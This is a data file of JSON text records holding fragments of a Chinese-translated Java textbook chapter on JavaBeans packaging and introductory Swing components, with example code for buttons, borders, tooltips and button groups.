    {"text": "４６４ ａＦｒａｍｅ．ａｄｄ（ｂｂ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ａＦｒａｍｅ．ｓｅｔＳｉｚｅ（３００，３００）； ａＦｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "｝ ／／ Ｄｕｒｉｎｇ ｔｅｓｔｉｎｇ， ｓｅｎｄ ａｃｔｉｏｎ ｉｎｆｏｒｍａｔｉｏｎ ／／ ｔｏ ｔｈｅ ｃｏｎｓｏｌｅ： ｓｔａｔｉｃ ｃｌａｓｓ ＢＢＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＢａｎｇＢｅａｎ ａｃｔｉｏｎ＂）；"},
    {"text": "当我们注视着 ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（）的签名时，我们会注意到它可以产生出一个 ＴｏｏＭａｎｙＬｉｓｔｅｎｅｒＥｘｃｅｐｔｉｏｎ （太多接收器异常）。"},
    {"text": "当我们按下鼠标键时，文字被安入 ＢａｎｇＢｅａｎ 中间，并且如果动作接收器字段存在，它的 ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（） 方法就被调用，创建一个新的 ＡｃｔｉｏｎＥｖｅｎｔ 对象在处理过程中。"},
    {"text": "无论何时一个 ＡｃｔｉｏｎＥｖｅｎｔ 发生，ｍａｉｎ（）方 法都将创建了一个帧并安置了一个 ＢａｎｇＢｅａｎ 在它里面，还在 ＢａｎｇＢｅａｎ 中附上了一个简单的动作接收器以打 印到控制台。"},
    {"text": "当我们通过 ＢｅａｎＤｕｍｐｅｒ 或者 安放 ＢａｎｇＢｅａｎ 到一个可激活 Ｂｅａｎ 的开发环境中去运行 ＢａｎｇＢｅａｎ 时，我们会注意到会有很多额外的属性和动 作明显超过了上面的代码。"},
    {"text": "１ ３ ． １ ８ ． ４ Ｂ ｅ ａ ｎ 的封装 在我们可以安放一个 Ｂｅａｎ 到一个可激活 Ｂｅａｎ 的可视化构建工具中前，它必须被放入到标准的 Ｂｅａｎ 容器里， 也就是包含 Ｂｅａｎ 类和一个表示“这是一个 Ｂｅａｎ”的清单文件的 ＪＡＲ（Ｊａｖａ ＡＲｃｈｉｖｅ，Ｊａｖａ 文件）文件中。"},
    {"text": "对于 ＢａｎｇＢｅａｎ 而言，清单文件就像下面这样： Ｍａｎｉｆｅｓｔ－Ｖｅｒｓｉｏｎ： １．０ Ｎａｍｅ： ｂａｎｇｂｅａｎ／ＢａｎｇＢｅａｎ．ｃｌａｓｓ Ｊａｖａ－Ｂｅａｎ： Ｔｒｕｅ 其中，第一行指出清单文件结构的版本，这是 ＳＵＮ 公司在很久以前公布的版本。"},
    {"text": "如果我们回顾 ＢａｎｇＢｅａｎ．ｊａｖａ ，我们 会看到它在 ｐａｃｋａｇｅ ｂａｎｇｂｅａｎ（因为存放类路径的子目录称为“ｂａｎｇｂｅａｎ”）中，并且这个名字在清单文件 中必须包括封装的信息。 另外，我们必须安放清单文件在我们封装路径的根目录上，在这个例子中意味着安 放文件在 ｂａｎｇｂｅａｎ 子目录中。 这之后，我们必须从同一目录中调用 Ｊａｒ 来作为清单文件，如下所示： ｊａｒ ｃｆｍ ＢａｎｇＢｅａｎ．ｊａｒ ＢａｎｇＢｅａｎ．ｍｆ ｂａｎｇｂｅａｎ ４６５ 这个例子假定我们想产生一个名为 ＢａｎｇＢｅａｎ．ｊａｒ 的文件并且我们将清单放到一个称为 ＢａｎｇＢｅａｎ．ｍｆ 文件中。"},
    {"text": "当我们给 ｊａｒ 子目录名 时，它封装整个的子目录到 ｊａｒ 文件中（在这个例子中，包括 ＢａｎｇＢｅａｎ．ｊａｖａ 的源代码文件——对于我们自 己的 Ｂｅａｎ 我们可能不会去选择包含源代码文件。 ）另外，如果我们改变主意，解开打包的 ＪＡＲ 文件，我们会 发现我们清单文件并不在里面，但 ｊａｒ 创建了它自己的清单文件（部分根据我们的文件），称为 ＭＡＩＮＦＥＳＴ．ＭＦ 并且安放它到 ＭＥＴＡ－ＩＮＦ 子目录中（代表“ｍｅｔａ－ｉｎｆｏｒｍａｔｉｏｎ”）。 如果我们打开这个清单文 件，我们同样会注意到 ｊａｒ 为每个文件加入数字签名信息，其结构如下： Ｄｉｇｅｓｔ－Ａｌｇｏｒｉｔｈｍｓ： ＳＨＡ ＭＤ５ ＳＨＡ－Ｄｉｇｅｓｔ： ｐＤｐＥＡＧ９ＮａｅＣｘ８ａＦｔｑＰＩ４ｕｄＳＸ／Ｏ０＝ ＭＤ５－Ｄｉｇｅｓｔ： Ｏ４ＮｃＳ１ｈＥ３Ｓｍｎｚｌｐ２ｈｊ６ｑｅｇ＝＝ 一般来说，我们不必担心这些，如果我们要做一些修改，可以修改我们的原始的清单文件并且重新调用 ｊａｒ 以为我们的 Ｂｅａｎ 创建了一个新的 ＪＡＲ 文件。"},
    {"text": "值得注意的是我们或许需要安放每个 Ｂｅａｎ 到它自己的子目录中，因为当我们创建一个 ＪＡＲ 文件时，分配 ＪＡＲ 应用目录名并且 ＪＡＲ 放置子目录中的任何文件到 ＪＡＲ 文件中。"},
    {"text": "使用这种方法，我们可以从一种工具到另一种工具间交替变换，但 ＳＵＮ 公司为 Ｊａｖａ Ｂｅａｎｓ 提供了免费 高效的测试工具在它们的“Ｂｅａｎ Ｄｅｖｅｌｏｐｍｅｎｔ Ｋｉｔ，Ｂｅａｎ 开发工具”（ＢＤＫ）称为“ｂｅａｎｂｏｘ”。"},
    {"text": "我们简单地提供一个相应的方法（再者有一个方法名的命名规则）并且 Ｉｎｔｒｏｓｐｅｃｔｏｒ 认可索引属性，因此我们的应用程序构建工具相应的处理。"},
    {"text": "其它的对象利用一个 ＰｒｏｐｅｒｔｙＣｈａｎｇｅＥｖｅｎｔ 来通知，并且它们产生一个 ＰｒｏｐｔｅｒｔｙＶｅｔｏＥｘｃｅｐｔｉｏｎ 去阻止修改的发生，并恢复为原 来的值。"},
    {"text": "４６６ １ ３ ． １ ９ Ｓ ｗ ｉ ｎ ｇ 入门（注释⑦） 通过这一章的学习，当我们的工作方法在 ＡＷＴ 中发生了巨大的改变后（如果可以回忆起很久以前，当 Ｊａｖａ 第 一次面世时 ＳＵＮ 公司曾声明 Ｊａｖａ 是一种“稳定，牢固”的编程语言），可能一直有 Ｊａｖａ 还不十分的成熟的 感觉。"},
    {"text": "⑦：写作本节时，Ｓｗｉｎｇ 库显然已被 Ｓｕｎ“固定”下来了，所以只要你下载并安装了 Ｓｗｉｎｇ 库，就应该能正确 地编译和运行这里的代码，不会出现任何问题（应该能编译 Ｓｕｎ 配套提供的演示程序，以检测安装是否正 确）。"},
    {"text": "Ｓｗｉｎｇ 包含所有我们缺乏的组件，在整个本章余下的部分中：我们期望领会现代化的 ＵＩ，来自按钮的任何事 件包括到树状和网格结构中的图片。"},
    {"text": "它是一个大库，但在某些方面它为任务被设计得相应的复杂——如果任 何事都是简单的，我们不必编写更多的代码但同样设法运行我们的代码逐渐地变得更加的复杂。"},
    {"text": "如果我们需要运行更多的，这时 Ｓｗｉｎｇ 能或许能给我们所想要 的，如果我们愿意深入地研究，可以从 ＳＵＮ 公司的在线文档中获取更多的资料。"},
    {"text": "键盘操作是自动被支持的——我们可以使用 Ｓｗｉｎｇ 应用程序而不需要鼠标，但我们不得不做一些额外的编程 工作（老的 ＡＷＴ 中需要一些可怕的代码以支持键盘操作）。"},
    {"text": "Ｓｗｉｎｇ 同样支持一些被称为“可插入外观和效果”的事物，这就是说 ＵＩ 的外观可以在不同的平台和不同的操 作系统上被动态地改变以符合用户的期望。"},
    {"text": "下面这个例子拥有我们所熟悉的特色： ／／： ＪＢｕｔｔｏｎＤｅｍｏ．ｊａｖａ ／／ Ｌｏｏｋｓ ｌｉｋｅ Ｊａｖａ １．１ ｂｕｔ ｗｉｔｈ Ｊ＇ｓ ａｄｄｅｄ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＪＢｕｔｔｏｎＤｅｍｏ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ４６７ ＪＢｕｔｔｏｎ ｂ１ ＝ ｎｅｗ ＪＢｕｔｔｏｎ（＂ＪＢｕｔｔｏｎ １＂）， ｂ２ ＝ ｎｅｗ ＪＢｕｔｔｏｎ（＂ＪＢｕｔｔｏｎ ２＂）； ＪＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＪＴｅｘｔＦｉｅｌｄ（２０）； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ａｌ ＝ ｎｅｗ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ）｛ Ｓｔｒｉｎｇ ｎａｍｅ ＝ （（ＪＢｕｔｔｏｎ）ｅ．ｇｅｔＳｏｕｒｃｅ（））．ｇｅｔＴｅｘｔ（）； ｔ．ｓｅｔＴｅｘｔ（ｎａｍｅ ＋ ＂ Ｐｒｅｓｓｅｄ＂）；"},
    {"text": "ｂ１．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ａｌ）； ａｄｄ（ｂ１）； ｂ２．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ａｌ）； ａｄｄ（ｂ２）； ａｄｄ（ｔ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ ＪＢｕｔｔｏｎＤｅｍｏ ａｐｐｌｅｔ ＝ ｎｅｗ ＪＢｕｔｔｏｎＤｅｍｏ（）； ＪＦｒａｍｅ ｆｒａｍｅ ＝ ｎｅｗ ＪＦｒａｍｅ（＂ＴｅｘｔＡｒｅａＮｅｗ＂）； ｆｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ｆｒａｍｅ．ｇｅｔＣｏｎｔｅｎｔＰａｎｅ（）．ａｄｄ（ ａｐｐｌｅｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｆｒａｍｅ．ｓｅｔＳｉｚｅ（３００，１００）； ａｐｐｌｅｔ．ｉｎｉｔ（）； ａｐｐｌｅｔ．ｓｔａｒｔ（）； ｆｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "同样， 我们不恰当的用 ａｄｄ（）方法增加到 Ｓｗｉｎｇ ＪＦｒａｍｅ 中，除此之外我们必须像上面看到的一样先准备一些 “ｃｏｎｔｅｎｔ ｐａｎｅ”。"},
    {"text": "因为程序中的封装语句，我们不得不调用像下面所写的一样调用这个程序： ｊａｖａ ｃ１３．ｓｗｉｎｇ．ＪｂｕｔｔｏｎＤｅｍｏ 在这一节里出现的所有的程序都将需要一个相同的窗体来运行它们。"},
    {"text": "这一节 余下部分取代它们的是一个 Ｓｗｉｎｇ 程序例子的显示框架： ／／： Ｓｈｏｗ．ｊａｖａ ／／ Ｔｏｏｌ ｆｏｒ ｄｉｓｐｌａｙｉｎｇ Ｓｗｉｎｇ ｄｅｍｏｓ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ４６８ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｈｏｗ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｉｎＦｒａｍｅ（ＪＰａｎｅｌ ｊｐ， ｉｎｔ ｗｉｄｔｈ， ｉｎｔ ｈｅｉｇｈｔ） ｛ Ｓｔｒｉｎｇ ｔｉｔｌｅ ＝ ｊｐ．ｇｅｔＣｌａｓｓ（）．ｔｏＳｔｒｉｎｇ（）； ／／ Ｒｅｍｏｖｅ ｔｈｅ ｗｏｒｄ ＂ｃｌａｓｓ＂： ｉｆ（ｔｉｔｌｅ．ｉｎｄｅｘＯｆ（＂ｃｌａｓｓ＂） ！ ＝ －１） ｔｉｔｌｅ ＝ ｔｉｔｌｅ．ｓｕｂｓｔｒｉｎｇ（６）； ＪＦｒａｍｅ ｆｒａｍｅ ＝ ｎｅｗ ＪＦｒａｍｅ（ｔｉｔｌｅ）； ｆｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ｆｒａｍｅ．ｇｅｔＣｏｎｔｅｎｔＰａｎｅ（）．ａｄｄ（ ｊｐ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｆｒａｍｅ．ｓｅｔＳｉｚｅ（ｗｉｄｔｈ， ｈｅｉｇｈｔ）； ｆｒａｍｅ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）；"},
    {"text": "１ ３ ． １ ９ ． ４ 工具提示 几乎所有我们利用来创建我们用户接口的来自于 ＪＣｏｍｐｏｎｅｎｔ 的类都包含一个称为 ｓｅｔＴｏｏｌＴｉｐＴｅｘｔ（ｓｔｒｉｎｇ） 的方法。"},
    {"text": "因此，几乎任何我们所需要表示的（对于一个对象 ｊｃ 来说就是一些来自 ＪＣｏｍｐｏｎｅｎｔ 的类）都可以 安放在窗体中： ｊｃ．ｓｅｔＴｏｏｌＴｉｐＴｅｘｔ（＂Ｍｙ ｔｉｐ＂）；"},
    {"text": "１ ３ ． １ ９ ． ５ 边框 ＪＣｏｍｐｏｎｅｎｔ 同样包括一个称为 ｓｅｔＢｏｒｄｅｒ（）的方法，该方法允许我们安放一些各种各样有趣的边框到一些可 见的组件上。 下面的程序例子利用一个创建 ＪＰａｎｅｌ 并安放边框到每个例子中的被称为 ｓｈｏｗＢｏｒｄｅｒ（）的方 法，示范了一些有用的不同的边框。"},
    {"text": "同样，它也使用 ＲＴＴＩ 来找我们使用的边框名（剔除所有的路径信息）， 然后将边框名放到面板中间的 ＪＬａｂｌｅ 里： ／／： Ｂｏｒｄｅｒｓ．ｊａｖａ ／／ Ｄｉｆｆｅｒｅｎｔ Ｓｗｉｎｇ ｂｏｒｄｅｒｓ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｂｏｒｄｅｒ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｏｒｄｅｒｓ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ｓｔａｔｉｃ ＪＰａｎｅｌ ｓｈｏｗＢｏｒｄｅｒ（Ｂｏｒｄｅｒ ｂ） ｛ ４６９ ＪＰａｎｅｌ ｊｐ ＝ ｎｅｗ ＪＰａｎｅｌ（）； ｊｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； Ｓｔｒｉｎｇ ｎｍ ＝ ｂ．ｇｅｔＣｌａｓｓ（）．ｔｏＳｔｒｉｎｇ（）； ｎｍ ＝ ｎｍ．ｓｕｂｓｔｒｉｎｇ（ｎｍ．ｌａｓｔＩｎｄｅｘＯｆ（＇．＇） ＋ １）； ｊｐ．ａｄｄ（ｎｅｗ ＪＬａｂｅｌ（ｎｍ， ＪＬａｂｅｌ．ＣＥＮＴＥＲ）， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｊｐ．ｓｅｔＢｏｒｄｅｒ（ｂ）； ｒｅｔｕｒｎ ｊｐ； ｝ ｐｕｂｌｉｃ Ｂｏｒｄｅｒｓ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２，４））； ａｄｄ（ｓｈｏｗＢｏｒｄｅｒ（ｎｅｗ ＴｉｔｌｅｄＢｏｒｄｅｒ（＂Ｔｉｔｌｅ＂）））； ａｄｄ（ｓｈｏｗＢｏｒｄｅｒ（ｎｅｗ ＥｔｃｈｅｄＢｏｒｄｅｒ（）））； ａｄｄ（ｓｈｏｗＢｏｒｄｅｒ（ｎｅｗ ＬｉｎｅＢｏｒｄｅｒ（Ｃｏｌｏｒ．ｂｌｕｅ）））； ａｄｄ（ｓｈｏｗＢｏｒｄｅｒ（ ｎｅｗ ＭａｔｔｅＢｏｒｄｅｒ（５，５，３０，３０，Ｃｏｌｏｒ．ｇｒｅｅｎ）））； ａｄｄ（ｓｈｏｗＢｏｒｄｅｒ（ ｎｅｗ ＢｅｖｅｌＢｏｒｄｅｒ（ＢｅｖｅｌＢｏｒｄｅｒ．ＲＡＩＳＥＤ）））； ａｄｄ（ｓｈｏｗＢｏｒｄｅｒ（ ｎｅｗ ＳｏｆｔＢｅｖｅｌＢｏｒｄｅｒ（ＢｅｖｅｌＢｏｒｄｅｒ．ＬＯＷＥＲＥＤ）））； ａｄｄ（ｓｈｏｗＢｏｒｄｅｒ（ｎｅｗ ＣｏｍｐｏｕｎｄＢｏｒｄｅｒ（ ｎｅｗ ＥｔｃｈｅｄＢｏｒｄｅｒ（）， ｎｅｗ ＬｉｎｅＢｏｒｄｅｒ（Ｃｏｌｏｒ．ｒｅｄ））））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｂｏｒｄｅｒｓ（）， ５００， ３００）；"},
    {"text": "１ ３ ． １ ９ ． ６ 按钮 Ｓｗｉｎｇ 增加了一些不同类型的按钮，并且它同样可以修改选择组件的结构：所有的按钮、复选框、单选钮， 甚至从 ＡｂｓｔｒａｃｔＢｕｔｔｏｎ 处继承的菜单项（这是因为菜单项一般被包含在其中，它可能会被改进命名为 “ＡｂｓｔｒａｃｔＣｈｏｏｓｅｒ”或者相同的什么名字）。 我们会注意使用菜单项的简便，下面的例子展示了不同类型的 可用的按钮： ／／： Ｂｕｔｔｏｎｓ．ｊａｖａ ／／ Ｖａｒｉｏｕｓ Ｓｗｉｎｇ ｂｕｔｔｏｎｓ ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｐｌａｆ．ｂａｓｉｃ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｂｏｒｄｅｒ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｕｔｔｏｎｓ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ＪＢｕｔｔｏｎ ｊｂ ＝ ｎｅｗ ＪＢｕｔｔｏｎ（＂ＪＢｕｔｔｏｎ＂）； ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ ｕｐ ＝ ｎｅｗ ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ（ ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ．ＮＯＲＴＨ）， ４７０ ｄｏｗｎ ＝ ｎｅｗ ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ（ ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ．ＳＯＵＴＨ）， ｒｉｇｈｔ ＝ ｎｅｗ ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ（ ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ．ＥＡＳＴ）， ｌｅｆｔ ＝ ｎｅｗ ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ（ ＢａｓｉｃＡｒｒｏｗＢｕｔｔｏｎ．ＷＥＳＴ）； ｐｕｂｌｉｃ Ｂｕｔｔｏｎｓ（） ｛ ａｄｄ（ｊｂ）； ａｄｄ（ｎｅｗ ＪＴｏｇｇｌｅＢｕｔｔｏｎ（＂ＪＴｏｇｇｌｅＢｕｔｔｏｎ＂））； ａｄｄ（ｎｅｗ ＪＣｈｅｃｋＢｏｘ（＂ＪＣｈｅｃｋＢｏｘ＂））； ａｄｄ（ｎｅｗ ＪＲａｄｉｏＢｕｔｔｏｎ（＂ＪＲａｄｉｏＢｕｔｔｏｎ＂））； ＪＰａｎｅｌ ｊｐ ＝ ｎｅｗ ＪＰａｎｅｌ（）； ｊｐ．ｓｅｔＢｏｒｄｅｒ（ｎｅｗ ＴｉｔｌｅｄＢｏｒｄｅｒ（＂Ｄｉｒｅｃｔｉｏｎｓ＂））； ｊｐ．ａｄｄ（ｕｐ）； ｊｐ．ａｄｄ（ｄｏｗｎ）； ｊｐ．ａｄｄ（ｌｅｆｔ）； ｊｐ．ａｄｄ（ｒｉｇｈｔ）； ａｄｄ（ｊｐ）；"},
    {"text": "｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ Ｂｕｔｔｏｎｓ（）， ３００， ２００）；"},
    {"text": "有两种类型的 “指针”恰好请求箭头按钮使用：Ｓｐｉｎｎｅｒ 修改一个中断值，并且 ＳｔｒｉｎｇＳｐｉｎｎｅｒ 通过一个字符串数组来移 动（当它到达数组底部时，甚至会自动地封装）。 ＡｃｔｉｏｎＬｉｓｔｅｎｅｒｓ 附着在箭头按钮上展示它使用的这些相 关指针：因为它们是 Ｂｅａｎ，我们将期待利用方法名，正好捕捉并设置它们的值。"},
    {"text": "１ ３ ． １ ９ ． ７ 按钮组 如果我们想单选钮保持“异或”状态，我们必须增加它们到一个按钮组中，这几乎同老 ＡＷＴ 中的方法相同但 更加的灵活。"},
    {"text": "这会在 ｍａｋｅＢＰａｎｅｌ 中看到，ｍａｋｅＢＰａｎｅｌ 创建了一个按钮组和一个 ＪＰａｎｅｌ，并且为数组中的每个 Ｓｔｒｉｎｇ 就是 ｍａｋｅＢＰａｎｅｌ 的第二个自变量增加一个类 对象，由它的第一个自变量进行声明： ／／： ＢｕｔｔｏｎＧｒｏｕｐｓ．ｊａｖａ ／／ Ｕｓｅｓ ｒｅｆｌｅｃｔｉｏｎ ｔｏ ｃｒｅａｔｅ ｇｒｏｕｐｓ ｏｆ ｄｉｆｆｅｒｅｎｔ ／／ ｔｙｐｅｓ ｏｆ ＡｂｓｔｒａｃｔＢｕｔｔｏｎ． ｐａｃｋａｇｅ ｃ１３．ｓｗｉｎｇ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．＊； ｉｍｐｏｒｔ ｊａｖａｘ．ｓｗｉｎｇ．ｂｏｒｄｅｒ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｌａｎｇ．ｒｅｆｌｅｃｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＢｕｔｔｏｎＧｒｏｕｐｓ ｅｘｔｅｎｄｓ ＪＰａｎｅｌ ｛ ｓｔａｔｉｃ Ｓｔｒｉｎｇ［］ ｉｄｓ ＝ ｛ ＂Ｊｕｎｅ＂， ＂Ｗａｒｄ＂， ＂Ｂｅａｖｅｒ＂， ４７１ ＂Ｗａｌｌｙ＂， ＂Ｅｄｄｉｅ＂， ＂Ｌｕｍｐｙ＂， ｝； ｓｔａｔｉｃ ＪＰａｎｅｌ ｍａｋｅＢＰａｎｅｌ（Ｃｌａｓｓ ｂＣｌａｓｓ， Ｓｔｒｉｎｇ［］ ｉｄｓ） ｛ ＢｕｔｔｏｎＧｒｏｕｐ ｂｇ ＝ ｎｅｗ ＢｕｔｔｏｎＧｒｏｕｐ（）； ＪＰａｎｅｌ ｊｐ ＝ ｎｅｗ ＪＰａｎｅｌ（）； Ｓｔｒｉｎｇ ｔｉｔｌｅ ＝ ｂＣｌａｓｓ．ｇｅｔＮａｍｅ（）； ｔｉｔｌｅ ＝ ｔｉｔｌｅ．ｓｕｂｓｔｒｉｎｇ（ ｔｉｔｌｅ．ｌａｓｔＩｎｄｅｘＯｆ（＇．＇） ＋ １）； ｊｐ．ｓｅｔＢｏｒｄｅｒ（ｎｅｗ ＴｉｔｌｅｄＢｏｒｄｅｒ（ｔｉｔｌｅ））； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｉｄｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ＡｂｓｔｒａｃｔＢｕｔｔｏｎ ａｂ ＝ ｎｅｗ ＪＢｕｔｔｏｎ（＂ｆａｉｌｅｄ＂）； ｔｒｙ ｛ ／／ Ｇｅｔ ｔｈｅ ｄｙｎａｍｉｃ ｃｏｎｓｔｒｕｃｔｏｒ ｍｅｔｈｏｄ ／／ ｔｈａｔ ｔａｋｅｓ ａ Ｓｔｒｉｎｇ ａｒｇｕｍｅｎｔ： Ｃｏｎｓｔｒｕｃｔｏｒ ｃｔｏｒ ＝ ｂＣｌａｓｓ．ｇｅｔＣｏｎｓｔｒｕｃｔｏｒ（ ｎｅｗ Ｃｌａｓｓ［］ ｛ Ｓｔｒｉｎｇ．ｃｌａｓｓ ｝）； ／／ Ｃｒｅａｔｅ ａ ｎｅｗ ｏｂｊｅｃｔ： ａｂ ＝ （ＡｂｓｔｒａｃｔＢｕｔｔｏｎ）ｃｔｏｒ．ｎｅｗＩｎｓｔａｎｃｅ（ ｎｅｗ Ｏｂｊｅｃｔ［］｛ｉｄｓ［ｉ］｝）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅｘ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃａｎ＇ｔ ｃｒｅａｔｅ ＂ ＋ ｂＣｌａｓｓ）； ｝ ｂｇ．ａｄｄ（ａｂ）； ｊｐ．ａｄｄ（ａｂ）； ｝ ｒｅｔｕｒｎ ｊｐ； ｝ ｐｕｂｌｉｃ ＢｕｔｔｏｎＧｒｏｕｐｓ（） ｛ ａｄｄ（ｍａｋｅＢＰａｎｅｌ（ＪＢｕｔｔｏｎ．ｃｌａｓｓ， ｉｄｓ））； ａｄｄ（ｍａｋｅＢＰａｎｅｌ（ＪＴｏｇｇｌｅＢｕｔｔｏｎ．ｃｌａｓｓ， ｉｄｓ））； ａｄｄ（ｍａｋｅＢＰａｎｅｌ（ＪＣｈｅｃｋＢｏｘ．ｃｌａｓｓ， ｉｄｓ））； ａｄｄ（ｍａｋｅＢＰａｎｅｌ（ＪＲａｄｉｏＢｕｔｔｏｎ．ｃｌａｓｓ， ｉｄｓ））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｈｏｗ．ｉｎＦｒａｍｅ（ｎｅｗ ＢｕｔｔｏｎＧｒｏｕｐｓ（）， ５００， ３００）；"},
    {"text": "ＡｂｓｔｒａｃｔＢｕｔｔｏｎ 初始化为一个 ＪＢｕｔｔｏｎ，ＪＢｕｔｔｏｎｒ 的标签发生 “失效”，因此如果我们忽略这个异常信息，我们会在屏幕上一直看到这个问题。"},
    {"text": "ｇｅｔＣｏｎｓｔｒｕｃｔｏｒ（）方法产 生了一个通过 ｇｅｔＣｏｎｓｔｒｕｃｔｏｒ（）方法安放自变量数组类型到类数组的构建器对象，然后所有我们要做的就是 调用 ｎｅｗＩｎｓｔａｎｃｅ（），通过它一个数组对象包含我们当前的自变量——在这种例子中，就是 ｉｄｓ 数组中的字 符串。"},
